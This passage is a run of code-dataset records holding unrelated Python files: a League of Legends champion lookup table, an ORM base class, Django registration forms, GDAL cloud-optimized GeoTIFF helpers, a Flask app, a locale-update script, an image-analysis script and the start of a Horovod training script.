\"champion_id\": \"131\", \"internal_name\": \"diana\"},\n \"dr. mundo\": {\"name\": \"Dr. Mundo\", \"file\": \"drmundo\", \"champion_id\": \"36\", \"internal_name\": \"dr. mundo\"},\n \"draven\": {\"name\": \"Draven\", \"file\": \"draven\", \"champion_id\": \"119\", \"internal_name\": \"draven\"},\n \"elise\": {\"name\": \"Elise\", \"file\": \"elise\", \"champion_id\": \"60\", \"internal_name\": \"elise\"},\n \"evelynn\": {\"name\": \"Evelynn\", \"file\": \"evelynn\", \"champion_id\": \"28\", \"internal_name\": \"evelynn\"},\n \"ezreal\": {\"name\": \"Ezreal\", \"file\": \"ezreal\", \"champion_id\": \"81\", \"internal_name\": \"ezreal\"},\n \"fiddlesticks\": {\"name\": \"Fiddlesticks\", \"file\": \"fiddlesticks\", \"champion_id\": \"9\",\n \"internal_name\": \"fiddlesticks\"},\n \"fiora\": {\"name\": \"Fiora\", \"file\": \"fiora\", \"champion_id\": \"114\", \"internal_name\": \"fiora\"},\n \"fizz\": {\"name\": \"Fizz\", \"file\": \"fizz\", \"champion_id\": \"105\", \"internal_name\": \"fizz\"},\n \"galio\": {\"name\": \"Galio\", \"file\": \"galio\", \"champion_id\": \"3\", \"internal_name\": \"galio\"},\n \"gangplank\": {\"name\": \"Gangplank\", \"file\": \"gangplank\", \"champion_id\": \"41\", \"internal_name\": \"gangplank\"},\n \"garen\": {\"name\": \"Garen\", \"file\": \"garen\", \"champion_id\": \"86\", \"internal_name\": \"garen\"},\n \"gnar\": {\"name\": \"Gnar\", \"file\": \"gnar\", \"champion_id\": \"150\", \"internal_name\": \"gnar\"},\n \"gragas\": {\"name\": \"Gragas\", \"file\": \"gragas\", \"champion_id\": \"79\", \"internal_name\": \"gragas\"},\n \"graves\": {\"name\": \"Graves\", \"file\": \"graves\", \"champion_id\": \"104\", \"internal_name\": \"graves\"},\n \"hecarim\": {\"name\": \"Hecarim\", \"file\": \"hecarim\", \"champion_id\": \"120\", \"internal_name\": \"hecarim\"},\n \"heimerdinger\": {\"name\": \"Heimerdinger\", \"file\": \"heimerdinger\", \"champion_id\": \"74\",\n \"internal_name\": \"heimerdinger\"},\n \"irelia\": {\"name\": \"Irelia\", \"file\": \"irelia\", \"champion_id\": \"39\", \"internal_name\": \"irelia\"},\n \"janna\": {\"name\": \"Janna\", \"file\": \"janna\", \"champion_id\": \"40\", \"internal_name\": \"janna\"},\n \"jarvan iv\": {\"name\": \"Jarvan IV\", \"file\": \"jarvaniv\", \"champion_id\": \"59\", \"internal_name\": \"jarvan iv\"},\n \"jax\": {\"name\": \"Jax\", \"file\": \"jax\", \"champion_id\": \"24\", \"internal_name\": \"jax\"},\n \"jayce\": {\"name\": \"Jayce\", \"file\": \"jayce\", \"champion_id\": \"126\", \"internal_name\": \"jayce\"},\n \"jinx\": {\"name\": \"Jinx\", \"file\": \"jinx\", \"champion_id\": \"222\", \"internal_name\": \"jinx\"},\n \"karma\": {\"name\": \"Karma\", \"file\": \"karma\", \"champion_id\": \"43\", \"internal_name\": \"karma\"},\n \"karthus\": {\"name\": \"Karthus\", \"file\": \"karthus\", \"champion_id\": \"30\", \"internal_name\": \"karthus\"},\n \"kassadin\": {\"name\": \"Kassadin\", \"file\": \"kassadin\", \"champion_id\": \"38\", \"internal_name\": \"kassadin\"},\n \"katarina\": {\"name\": \"Katarina\", \"file\": \"katarina\", \"champion_id\": \"55\", \"internal_name\": \"katarina\"},\n \"kayle\": {\"name\": \"Kayle\", \"file\": \"kayle\", \"champion_id\": \"10\", \"internal_name\": \"kayle\"},\n \"kennen\": {\"name\": \"Kennen\", \"file\": \"kennen\", \"champion_id\": \"85\", \"internal_name\": \"kennen\"},\n \"kha'zix\": {\"name\": \"Kha'Zix\", \"file\": \"khazix\", \"champion_id\": \"121\", \"internal_name\": \"kha'zix\"},\n \"kog'maw\": {\"name\": \"Kog'Maw\", \"file\": \"kogmaw\", \"champion_id\": \"96\", \"internal_name\": \"kog'maw\"},\n \"leblanc\": {\"name\": \"LeBlanc\", \"file\": \"leblanc\", \"champion_id\": \"7\", \"internal_name\": \"leblanc\"},\n \"lee sin\": {\"name\": \"Lee Sin\", \"file\": \"leesin\", \"champion_id\": \"64\", \"internal_name\": \"lee sin\"},\n \"leona\": {\"name\": \"Leona\", \"file\": \"leona\", \"champion_id\": \"89\", \"internal_name\": \"leona\"},\n \"lissandra\": {\"name\": \"Lissandra\", \"file\": \"lissandra\", \"champion_id\": \"127\", \"internal_name\": \"lissandra\"},\n \"lucian\": {\"name\": \"Lucian\", \"file\": \"lucian\", \"champion_id\": \"236\", \"internal_name\": \"lucian\"},\n \"lulu\": {\"name\": \"Lulu\", \"file\": \"lulu\", \"champion_id\": \"117\", \"internal_name\": \"lulu\"},\n \"lux\": {\"name\": \"Lux\", \"file\": \"lux\", \"champion_id\": \"99\", \"internal_name\": \"lux\"},\n \"malphite\": {\"name\": \"Malphite\", \"file\": \"malphite\", \"champion_id\": \"54\", \"internal_name\": \"malphite\"},\n \"malzahar\": {\"name\": \"Malzahar\", \"file\": \"malzahar\", \"champion_id\": \"90\", \"internal_name\": \"malzahar\"},\n \"maokai\": {\"name\": \"Maokai\", \"file\": \"maokai\", \"champion_id\": \"57\", \"internal_name\": \"maokai\"},\n \"master yi\": {\"name\": \"Master Yi\", \"file\": \"masteryi\", \"champion_id\": \"11\", \"internal_name\": \"master yi\"},\n \"miss fortune\": {\"name\": \"Miss Fortune\", \"file\": \"missfortune\", \"champion_id\": \"21\",\n \"internal_name\": \"miss fortune\"},\n \"mordekaiser\": {\"name\": \"Mordekaiser\", \"file\": \"mordekaiser\", \"champion_id\": \"82\",\n \"internal_name\": \"mordekaiser\"},\n \"morgana\": {\"name\": \"Morgana\", \"file\": \"morgana\", \"champion_id\": \"25\", \"internal_name\": \"morgana\"},\n \"nami\": {\"name\": \"Nami\", \"file\": \"nami\", \"champion_id\": \"267\", \"internal_name\": \"nami\"},\n \"nasus\": {\"name\": \"Nasus\", \"file\": \"nasus\", \"champion_id\": \"75\", \"internal_name\": \"nasus\"},\n \"nautilus\": {\"name\": \"Nautilus\", \"file\": \"nautilus\", \"champion_id\": \"111\", \"internal_name\": \"nautilus\"},\n \"nidalee\": {\"name\": \"Nidalee\", \"file\": \"nidalee\", \"champion_id\": \"76\", \"internal_name\": \"nidalee\"},\n \"nocturne\": {\"name\": \"Nocturne\", \"file\": \"nocturne\", \"champion_id\": \"56\", \"internal_name\": \"nocturne\"},\n \"nunu\": {\"name\": \"Nunu\", \"file\": \"nunu\", \"champion_id\": \"20\", \"internal_name\": \"nunu\"},\n \"olaf\": {\"name\": \"Olaf\", \"file\": \"olaf\", \"champion_id\": \"2\", \"internal_name\": \"olaf\"},\n \"orianna\": {\"name\": \"Orianna\", \"file\": \"orianna\", \"champion_id\": \"61\", \"internal_name\": \"orianna\"},\n \"pantheon\": {\"name\": \"Pantheon\", \"file\": \"pantheon\", \"champion_id\": \"80\", \"internal_name\": \"pantheon\"},\n \"poppy\": {\"name\": \"Poppy\", \"file\": \"poppy\", \"champion_id\": \"78\", \"internal_name\": \"poppy\"},\n \"quinn\": {\"name\": \"Quinn\", \"file\": \"quinn\", \"champion_id\": \"133\", \"internal_name\": \"quinn\"},\n \"rammus\": {\"name\": \"Rammus\", \"file\": \"rammus\", \"champion_id\": \"33\", \"internal_name\": \"rammus\"},\n \"renekton\": {\"name\": \"Renekton\", \"file\": \"renekton\", \"champion_id\": \"58\", \"internal_name\": \"renekton\"},\n \"rengar\": {\"name\": \"Rengar\", \"file\": \"rengar\", \"champion_id\": \"107\", \"internal_name\": \"rengar\"},\n \"riven\": {\"name\": \"Riven\", \"file\": \"riven\", \"champion_id\": \"92\", \"internal_name\": \"riven\"},\n \"rumble\": {\"name\": \"Rumble\", \"file\": \"rumble\", \"champion_id\": \"68\", \"internal_name\": \"rumble\"},\n \"ryze\": {\"name\": \"Ryze\", \"file\": \"ryze\", \"champion_id\": \"13\", \"internal_name\": \"ryze\"},\n \"sejuani\": {\"name\": \"Sejuani\", \"file\": \"sejuani\", \"champion_id\": \"113\", \"internal_name\": \"sejuani\"},\n \"shaco\": {\"name\": \"Shaco\", \"file\": \"shaco\", \"champion_id\": \"35\", \"internal_name\": \"shaco\"},\n \"shen\": {\"name\": \"Shen\", \"file\": \"shen\", \"champion_id\": \"98\", \"internal_name\": \"shen\"},\n \"shyvana\": {\"name\": \"Shyvana\", \"file\": \"shyvana\", \"champion_id\": \"102\", \"internal_name\": \"shyvana\"},\n \"singed\": {\"name\": \"Singed\", \"file\": \"singed\", \"champion_id\": \"27\", \"internal_name\": \"singed\"},\n \"sion\": {\"name\": \"Sion\", \"file\": \"sion\", \"champion_id\": \"14\", \"internal_name\": \"sion\"},\n \"sivir\": {\"name\": \"Sivir\", \"file\": \"sivir\", \"champion_id\": \"15\", \"internal_name\": \"sivir\"},\n \"skarner\": {\"name\": \"Skarner\", \"file\": \"skarner\", \"champion_id\": \"72\", \"internal_name\": \"skarner\"},\n \"sona\": {\"name\": \"Sona\", \"file\": \"sona\", \"champion_id\": \"37\", \"internal_name\": \"sona\"},\n \"soraka\": {\"name\": \"Soraka\", \"file\": \"soraka\", \"champion_id\": \"16\", \"internal_name\": \"soraka\"},\n \"swain\": {\"name\": \"Swain\", \"file\": \"swain\", \"champion_id\": \"50\", \"internal_name\": \"swain\"},\n \"syndra\": {\"name\": \"Syndra\", \"file\": \"syndra\", \"champion_id\": \"134\", \"internal_name\": \"syndra\"},\n \"talon\": {\"name\": \"Talon\", \"file\": \"talon\", \"champion_id\": \"91\", \"internal_name\": \"talon\"},\n \"taric\": {\"name\": \"Taric\", \"file\": \"taric\", \"champion_id\": \"44\", \"internal_name\": \"taric\"},\n \"teemo\": {\"name\": \"Teemo\", \"file\": \"teemo\", \"champion_id\": \"17\", \"internal_name\": \"teemo\"},\n \"thresh\": {\"name\": \"Thresh\", \"file\": \"thresh\", \"champion_id\": \"412\", \"internal_name\": \"thresh\"},\n \"tristana\": {\"name\": \"Tristana\", \"file\": \"tristana\", \"champion_id\": \"18\", \"internal_name\": \"tristana\"},\n \"trundle\": {\"name\": \"Trundle\", \"file\": \"trundle\", \"champion_id\": \"48\", \"internal_name\": \"trundle\"},\n \"tryndamere\": {\"name\": \"Tryndamere\", \"file\": \"tryndamere\", \"champion_id\": \"23\", \"internal_name\": \"tryndamere\"},\n \"twisted fate\": {\"name\": \"Twisted Fate\", \"file\": \"twistedfate\", \"champion_id\": \"4\",\n \"internal_name\": \"twisted fate\"},\n \"twitch\": {\"name\": \"Twitch\", \"file\": \"twitch\", \"champion_id\": \"29\", \"internal_name\": \"twitch\"},\n \"udyr\": {\"name\": \"Udyr\", \"file\": \"udyr\", \"champion_id\": \"77\", \"internal_name\": \"udyr\"},\n \"urgot\": {\"name\": \"Urgot\", \"file\": \"urgot\", \"champion_id\": \"6\", \"internal_name\": \"urgot\"},\n \"varus\": {\"name\": \"Varus\", \"file\": \"varus\", \"champion_id\": \"110\", \"internal_name\": \"varus\"},\n \"vayne\": {\"name\": \"Vayne\", \"file\": \"vayne\", \"champion_id\": \"67\", \"internal_name\": \"vayne\"},\n \"veigar\": {\"name\": \"Veigar\", \"file\": \"veigar\", \"champion_id\": \"45\", \"internal_name\": \"veigar\"},\n \"vel'koz\": {\"name\": \"Vel'Koz\", \"file\": \"velkoz\", \"champion_id\": \"161\", \"internal_name\": \"vel'koz\"},\n \"vi\": {\"name\": \"Vi\", \"file\": \"vi\", \"champion_id\": \"254\", \"internal_name\": \"vi\"},\n \"viktor\": {\"name\": \"Viktor\", \"file\": \"viktor\", \"champion_id\": \"112\", \"internal_name\": \"viktor\"},\n \"vladimir\": {\"name\": \"Vladimir\", \"file\": \"vladimir\", \"champion_id\": \"8\", \"internal_name\": \"vladimir\"},\n \"volibear\": {\"name\": \"Volibear\", \"file\": \"volibear\", \"champion_id\": \"106\", \"internal_name\": \"volibear\"},\n \"warwick\": {\"name\": \"Warwick\", \"file\": \"warwick\", \"champion_id\": \"19\", \"internal_name\": \"warwick\"},\n \"wukong\": {\"name\": \"Wukong\", \"file\": \"monkeyking\", \"champion_id\": \"62\", \"internal_name\": \"wukong\"},\n \"xerath\": {\"name\": \"Xerath\", \"file\": \"xerath\", \"champion_id\": \"101\", \"internal_name\": \"xerath\"},\n \"xin zhao\": {\"name\": \"Xin Zhao\", \"file\": \"xinzhao\", \"champion_id\": \"5\", \"internal_name\": \"xin zhao\"},\n \"yasuo\": {\"name\": \"Yasuo\", \"file\": \"yasuo\", \"champion_id\": \"157\", \"internal_name\": \"yasuo\"},\n \"yorick\": {\"name\": \"Yorick\", \"file\": \"yorick\", \"champion_id\": \"83\", \"internal_name\": \"yorick\"},\n \"zac\": {\"name\": \"Zac\", \"file\": \"zac\", \"champion_id\": \"154\", \"internal_name\": \"zac\"},\n \"zed\": {\"name\": \"Zed\", \"file\": \"zed\", \"champion_id\": \"238\", \"internal_name\": \"zed\"},\n \"ziggs\": {\"name\": \"Ziggs\", \"file\": \"ziggs\", \"champion_id\": \"115\", \"internal_name\": \"ziggs\"},\n \"zilean\": {\"name\": \"Zilean\", \"file\": \"zilean\", \"champion_id\": \"26\", \"internal_name\": \"zilean\"},\n \"zyra\": {\"name\": \"Zyra\", \"file\": \"zyra\", \"champion_id\": \"143\", \"internal_name\": \"zyra\"}};\n\ndef getDict():\n return dict\n\ndef getChampionInfo(name):\n return dict[name.lower()]","sub_path":"lol-data-collection/ChampionDictionary.py","file_name":"ChampionDictionary.py","file_ext":"py","file_size_in_byte":12902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"112916206","text":"\nclass Object(object):\n\n \"\"\"\n \"\"\"\n\n def __init__(self,attributes = None,lazy = False,default_backend = None):\n if not attributes:\n attributes = {}\n self.__dict__['_attributes'] = attributes\n self.__dict__['embed'] = False\n self._default_backend = default_backend\n\n if not 'pk' in attributes:\n self.pk = None\n\n if not lazy:\n self.initialize()\n else:\n self._lazy = True\n\n\n def initialize(self):\n pass\n\n def __getattribute__(self,key):\n try:\n lazy = super(Object,self).__getattribute__('_lazy')\n except AttributeError:\n lazy = False\n if lazy:\n self._lazy = False\n\n if not 'pk' in self._attributes or not self._attributes['pk']:\n raise AttributeError(\"No primary key given!\")\n if not self._default_backend:\n raise AttributeError(\"No backend for lazy loading given!\")\n obj = self._default_backend.get(self.__class__,{'pk':self._attributes['pk']})\n self._attributes = obj.attributes\n self.initialize()\n\n return super(Object,self).__getattribute__(key)\n\n def __getattr__(self,key):\n try:\n super(Object,self).__getattr__(key)\n except AttributeError:\n return self._attributes[key]\n\n def __setattr__(self,key,value):\n if key.startswith('_'):\n return super(Object,self).__setattr__(key,value)\n else:\n self._attributes[key] = value\n\n def __delattr__(self,key):\n if key.startswith('_'):\n return super(Object,self).__delattr__(key)\n elif key in self._attributes:\n del self._attributes[key]\n\n @property\n def attributes(self):\n return self._attributes\n\n def save(self,backend = None):\n if not backend:\n if not self._default_backend:\n raise AttributeError(\"No default backend defined!\")\n return self._default_backend.save(self)\n return backend.save(self)\n\n def delete(self,backend = None):\n if not backend:\n if not self._default_backend:\n raise AttributeError(\"No default backend defined!\")\n return self._default_backend.delete(self)\n backend.delete(self)\n\n def __copy__(self):\n d = self.__class__(**self.attributes.copy())\n return d\n\n def __deepcopy__(self,memo):\n d = self.__class__(**copy.deepcopy(self.attributes,memo))\n return d\n\n def __ne__(self,other):\n return not self.__eq__(other)\n \n def __eq__(self,other):\n if id(self) == id(other):\n return True\n if type(self) != type(other):\n return False\n if self.pk == other.pk:\n return True\n if self.attributes == other.attributes:\n return True\n return False\n\n def _represent(self,n = 3):\n\n if n < 0:\n return self.__class__.__name__+\"({...})\"\n\n def truncate_dict(d,n = n):\n\n if isinstance(d,dict):\n out = {}\n return dict([(key,truncate_dict(value,n-1)) for key,value in d.items()])\n elif isinstance(d,list) or isinstance(d,set):\n return [truncate_dict(v,n-1) for v in d]\n elif isinstance(d,Object):\n return d._represent(n-1)\n else:\n return d\n\n return self.__class__.__name__+\"(\"+str(truncate_dict(self._attributes))+\")\"\n\n __str__ = __repr__ = _represent\n","sub_path":"blitzdb/object.py","file_name":"object.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"628758264","text":"\"\"\"\nThis Module contains the Model Forms for the accounts app.\n\nUserForm = Used for update_profile (View), ProfileForm = Used (for fields not defined in UserForm) update_profile (View)\nUserRegistrationForm = Used in user_registration (view), MyUsersForm = Used in user_registration (view)\n\n\"\"\"\n\nfrom django import forms\nfrom .models import User, UserProfile, MyUsers\n\n\nclass UserForm(forms.ModelForm):\n \"\"\"\n UserForm uses default Django User fields\n \"\"\"\n class Meta:\n model = User\n fields = ['first_name', 'last_name', 'email']\n\n\nclass UserProfileForm(forms.ModelForm):\n \"\"\"\n UserProfileForm define custom defined fields for Profile\n \"\"\"\n class Meta:\n model = UserProfile\n fields = ['dob', 'nickname']\n\n\nclass MyUsersForm(forms.ModelForm):\n \"\"\"\n MyUsersForm for project admin to identify who created the User\n \"\"\"\n\n class Meta:\n model = MyUsers\n fields = ['created_by', ]\n\n def clean_created_by(self):\n try:\n created_by = self.cleaned_data.get('created_by')\n return created_by\n except User.DoesNotExist:\n raise forms.ValidationError('The project admin does not exist')\n\n\nclass UserRegistrationForm(forms.ModelForm):\n \"\"\"\n UserRegistrationForm for User Creation\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n\n super(UserRegistrationForm, self).__init__(*args, **kwargs)\n # Making email field required for user registration form\n self.fields['email'].required = True\n\n class Meta:\n model = User\n fields = ['username', 'password', 'email']\n\n def clean_username(self):\n \"\"\"\n Check the new username versus the existing username in the database and throws a validation error\n if it matches, else return's the cleaned username (new_username)\n \"\"\"\n\n new_username = self.cleaned_data.get('username')\n try:\n existing_username = User.objects.get(username__iexact=new_username) # Remember it is a User object\n except User.DoesNotExist:\n return new_username\n raise forms.ValidationError('The username %(value)s already exists. Please try another one',\n params={'value': existing_username.username}, code='username exists')\n\n def clean_email(self):\n \"\"\"\n Check the new email versus the existing email in the database and throws a validation error\n if it matches, else return's the cleaned email (new_email)\n \"\"\"\n\n new_email = self.cleaned_data.get('email')\n try:\n existing_user = User.objects.get(email__exact=new_email) # exact query for the email address\n existing_email = existing_user.email\n except User.DoesNotExist:\n return new_email\n raise forms.ValidationError('The email %(value)s address is already registered with us',\n params={'value': existing_email}, code='email exists')\n","sub_path":"accounts/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"329557805","text":"\"\"\"Utilities for transforming public scenes into COGs\"\"\"\n\nfrom rf.utils.io import s3_bucket_and_key_from_url\n\nimport boto3\nimport rasterio\n\nimport logging\nfrom multiprocessing import cpu_count, Pool\nimport os\nimport subprocess\n\nDATA_BUCKET = os.getenv(\"DATA_BUCKET\")\n\ns3client = boto3.client(\"s3\")\nlogger = logging.getLogger(__name__)\n\n\ndef georeference_file(file_path):\n logger.info(\"Georeferencing %s\", file_path)\n with rasterio.open(file_path) as ds:\n width = ds.width\n height = ds.height\n\n output_dir, source_filename = os.path.split(file_path)\n translated_tiff = os.path.join(\n output_dir, \"{}-referenced.tif\".format(source_filename.split(\".\")[0])\n )\n translate_command = [\n \"gdal_translate\",\n \"-a_ullr\",\n \"0\",\n str(height),\n str(width),\n \"0\",\n \"-a_srs\",\n \"epsg:3857\",\n file_path,\n translated_tiff,\n ]\n logger.debug(\"Running translate command: %s\", translate_command)\n subprocess.check_call(translate_command)\n return translated_tiff\n\n\ndef convert_to_cog(tif_path, local_dir):\n logger.info(\"Converting %s to a cog\", tif_path)\n with rasterio.open(tif_path) as src:\n has_64_bit = rasterio.dtypes.float64 in src.dtypes\n out_path = os.path.join(local_dir, \"cog.tif\")\n cog_command = [\n \"gdal_translate\",\n tif_path,\n \"-co\",\n \"TILING_SCHEME=GoogleMapsCompatible\",\n \"-co\",\n \"COMPRESS=DEFLATE\",\n \"-co\",\n \"BIGTIFF=IF_SAFER\",\n *([\"-co\", \"PREDICTOR=2\"] if not has_64_bit else []),\n \"-of\",\n \"COG\",\n out_path,\n ]\n subprocess.check_call(cog_command)\n return out_path\n","sub_path":"app-tasks/rf/src/rf/utils/cog.py","file_name":"cog.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"343883336","text":"##This file must be copied to /\nfrom flask import Flask, jsonify, request, render_template, abort\n# from Src.utils import ClassificationModelBuilder_short # Uncomment only if you want to re-train your model\nfrom Src.api.predict import predict_api\nfrom jinja2 import TemplateNotFound\n#This next line is added to run in Colab\nfrom flask_ngrok import run_with_ngrok\n\napplication = Flask(__name__ , template_folder='./Src/templates')\napplication.register_blueprint(predict_api, url_prefix='/em-prende-classification-model')\n#Next line added to run in Colab\nrun_with_ngrok(application)\n\n\n# Loading home page\n@application.route('/', defaults={'page': 'index'})\n@application.route('/')\ndef show(page):\n\n try:\n print('home route')\n return render_template(f'{page}.html', app_name='Em-prende: Classification Problem')\n\n except TemplateNotFound:\n abort(404)\n\n\n# Handling 400 Error\n@application.errorhandler(400)\ndef bad_request(error=None):\n\n message = {\n 'status': 400,\n 'message': 'Bad Request: ' + request.url + '--> Please check your data payload...',\n }\n resp = jsonify(message)\n resp.status_code = 400\n \n return resp\n\n# run application\nif __name__ == \"__main__\":\n application.run()\n","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"609288835","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport sys, os, json, re, codecs\nimport buildtools.localeTools as localeTools\n\ndef updateLocales(sourceDir, targetDir, localeMap, removed, imported):\n for source, target in localeMap.iteritems():\n targetFile = os.path.join(targetDir, target, 'messages.json')\n hasSource = os.path.exists(os.path.join(sourceDir, source))\n if hasSource and os.path.exists(os.path.join(sourceDir, source, '.incomplete')):\n hasSource = False\n if not hasSource and not os.path.exists(targetFile):\n continue\n\n data = {}\n if os.path.exists(targetFile):\n file = codecs.open(targetFile, 'rb', encoding='utf-8')\n data = json.load(file)\n file.close()\n\n for entry in removed:\n if entry in data:\n del data[entry]\n\n if hasSource:\n for entry in imported:\n fileName, stringID = entry.split(' ', 1)\n sourceFile = os.path.join(sourceDir, source, fileName)\n try:\n sourceData = localeTools.readFile(sourceFile)\n if stringID in sourceData:\n key = re.sub(r'\\..*', '', fileName) + '_' + re.sub(r'\\W', '_', stringID)\n data[key] = {'message': sourceData[stringID]}\n except:\n pass\n\n sourceFile = os.path.join(sourceDir, source, 'meta.properties')\n try:\n sourceData = localeTools.readFile(sourceFile)\n if 'name' in sourceData:\n data['name'] = {'message': sourceData['name'] + ' (Beta)'}\n except:\n pass\n\n try:\n os.makedirs(os.path.dirname(targetFile))\n except:\n pass\n file = codecs.open(targetFile, 'wb', encoding='utf-8')\n json.dump(data, file, ensure_ascii=False, sort_keys=True, indent=2)\n print >>file\n file.close()\n\nif __name__ == '__main__':\n sourceDir = os.path.join('..', 'adblockplus', 'chrome', 'locale')\n targetDir = os.path.join('_locales')\n localeMap = {\n 'ar': 'ar',\n 'bg': 'bg',\n 'ca': 'ca',\n 'cs': 'cs',\n 'da': 'da',\n 'de': 'de',\n 'el': 'el',\n 'en-US': 'en',\n 'en-GB': 'en_GB',\n 'es-ES': 'es',\n 'es-AR': 'es_419',\n 'et': 'et',\n 'fi': 'fi',\n# '': 'fil', ???\n 'fr': 'fr',\n 'he': 'he',\n 'hi-IN': 'hi',\n 'hr': 'hr',\n 'hu': 'hu',\n 'id': 'id',\n 'it': 'it',\n 'ja': 'ja',\n 'ko': 'ko',\n 'lt': 'lt',\n 'lv': 'lv',\n 'nl': 'nl',\n# 'nb-NO': 'no', ???\n 'pl': 'pl',\n 'pt-BR': 'pt_BR',\n 'pt-PT': 'pt_PT',\n 'ro': 'ro',\n 'ru': 'ru',\n 'sk': 'sk',\n 'sl': 'sl',\n 'sr': 'sr',\n 'sv-SE': 'sv',\n 'th': 'th',\n 'tr': 'tr',\n 'uk': 'uk',\n 'vi': 'vi',\n 'zh-CN': 'zh_CN',\n 'zh-TW': 'zh_TW',\n }\n removed = [\n 'not_a_filter_list',\n 'not_found_on_server',\n 'filter_list_desc',\n 'add_url_button',\n 'delete',\n 'add_a_filter_list',\n 'hovercraft',\n ]\n imported = [\n 'global.properties subscription_status_lastdownload_inprogress',\n 'global.properties subscription_invalid_location',\n 'global.properties synchronize_invalid_url',\n 'global.properties synchronize_connection_error',\n 'global.properties synchronize_invalid_data',\n 'global.properties synchronize_checksum_mismatch',\n 'global.properties remove_subscription_warning',\n 'settings.dtd enabled.column',\n 'settings.dtd remove.label',\n 'settings.dtd addsubscription.label',\n 'subscriptionSelection.dtd subscriptionSelector.label',\n 'subscriptionSelection.dtd addSubscription.label',\n 'subscriptionSelection.dtd other.label',\n 'subscriptionSelection.dtd title.label',\n 'subscriptionSelection.dtd location.label',\n ]\n updateLocales(sourceDir, targetDir, localeMap, removed, imported)\n","sub_path":"update_locales.py","file_name":"update_locales.py","file_ext":"py","file_size_in_byte":3626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"210667558","text":"############ GETTING THE TOTAL AREA OF EACH PIN OVER TIME #################\n\nimport muqfatc.imageanalysis as ia\nimport muqfatc.pingrowth as pinia\n# The myqfatc package requires cv2 (version 3.0.0) to be intalled \nimport sys, os\nimport numpy\n\n# Find all available time courses in the current working directory\nsyspath = os.path.dirname(sys.argv[0]) \nfullpath = os.path.abspath(syspath) \nallobj=os.listdir(fullpath)\n# Getting all the folder names\nmyfolders=[]\nfor f in allobj:\n if len(f)==6 and \".\" not in f and f[0]==\"R\" and f[3]==\"C\" and f!='R03C03':\n myfolders.append(f)\n\n# Getting time and area for pin growth estimates for 90 observations\narea,time=pinia.pintimecourse(myfolders,90,fullpath)\n\n# Write Output to File\nnumpy.savetxt(\"PopulationArea.txt\",area,delimiter=\"\\t\")\nnumpy.savetxt(\"PopulationTime.txt\",time,delimiter=\"\\t\")\ntext_file = open(\"PopulationFolders.txt\", \"w\")\nfor item in myfolders:\n text_file.write(\"%s\\n\" % item)\ntext_file.close()\n","sub_path":"Analyses/ImageAnalysis/PinGrowthEst.py","file_name":"PinGrowthEst.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"334166942","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 10 11:47:40 2019\n\nDistributed training based on Horovod\n\n@author: Ming Jin\n\"\"\"\n\nimport numpy as np\nimport pickle\nimport tensorflow as tf\nfrom tensorflow.keras.applications.vgg16 import VGG16\nfrom tensorflow.keras.applications.resnet50 import ResNet50\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nimport horovod.tensorflow.keras as hvd\nfrom tensorflow.keras import backend as K\n\n\ndef unpickle(file):\n with open(file, 'rb') as fo:\n dict = pickle.load(fo)\n return dict\n\ndef load_data(input_file):\n d = unpickle(input_file)\n x = d['data']\n y = d['labels']\n x = np.dstack((x[:, :4096], x[:, 4096:8192], x[:, 8192:]))\n x = x.reshape((x.shape[0], 64, 64, 3))\n# x = np.dstack((x[:, :1024], x[:, 1024:2048], x[:, 2048:]))\n# x = x.reshape((x.shape[0], 32, 32, 3))\n return x, y\n\ndef dense_to_one_hot(labels_dense, num_classes):\n num_labels = labels_dense.shape[0]\n index_offset = np.arange(num_labels) * num_classes\n labels_one_hot = np.zeros((num_labels, num_classes))\n labels_one_hot.flat[index_offset + labels_dense.ravel()] = 1\n return labels_one_hot\n\ndef split_dataset(features, labels, training = 0.8, validation = 0.3):\n rnd_indices = np.random.rand(len(labels)) < training\n train_x = features[rnd_indices]\n train_y = labels[rnd_indices]\n remain_x = features[~rnd_indices]\n remain_y = labels[~rnd_indices]\n \n rnd_indices2 = np.random.rand(len(remain_y)) < validation\n val_x = remain_x[rnd_indices2]\n val_y = remain_y[rnd_indices2]\n test_x = remain_x[~rnd_indices2]\n test_y = remain_y[~rnd_indices2]\n return train_x, train_y, val_x, val_y, test_x, test_y\n\n# define hyper parameters\n_LR = 0.01\n_EPOCH = 200\n_BATCH_SIZE = 128\n\n# Horovod: initialize Horovod.\nhvd.init()\n\n# Horovod: pin GPU to be used to process local rank (one GPU per process)\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\nconfig.gpu_options.visible_device_list = str(hvd.local_rank())\nK.set_session(tf.Session(config = config))\n\n# loading data from binary files\nX = []\nY = []\ndirectory = '/home/tpc2/Downloads/64*64/training_data'\n\nfor i in range(1):\n i = i + 1 \n x, y = load_data(directory + '/train_data_batch_%d' % i)\n X.extend(x)\n Y.extend(y)\n if hvd.rank() == 0:\n print('%d out of 10 files' % i)\n \nX = np.array(X)\nY = np.array(Y)\nY = dense_to_one_hot(Y, 1000)\n\nif hvd.rank() == 0:\n print(X.shape)\n print(Y.shape)\n\ntrain_x, train_y, val_x, val_y, test_x, test_y = split_dataset(X, Y)\n\n# Determine how many batches are there in train and test sets\ntrain_batches = len(train_x) // _BATCH_SIZE\nval_batches = len(val_x) // _BATCH_SIZE\n\n# preparing data generator\n\ntrain_datagen = ImageDataGenerator(\n rotation_range=20,\n width_shift_range=0.2,\n height_shift_range=0.2,\n horizontal_flip=True,\n 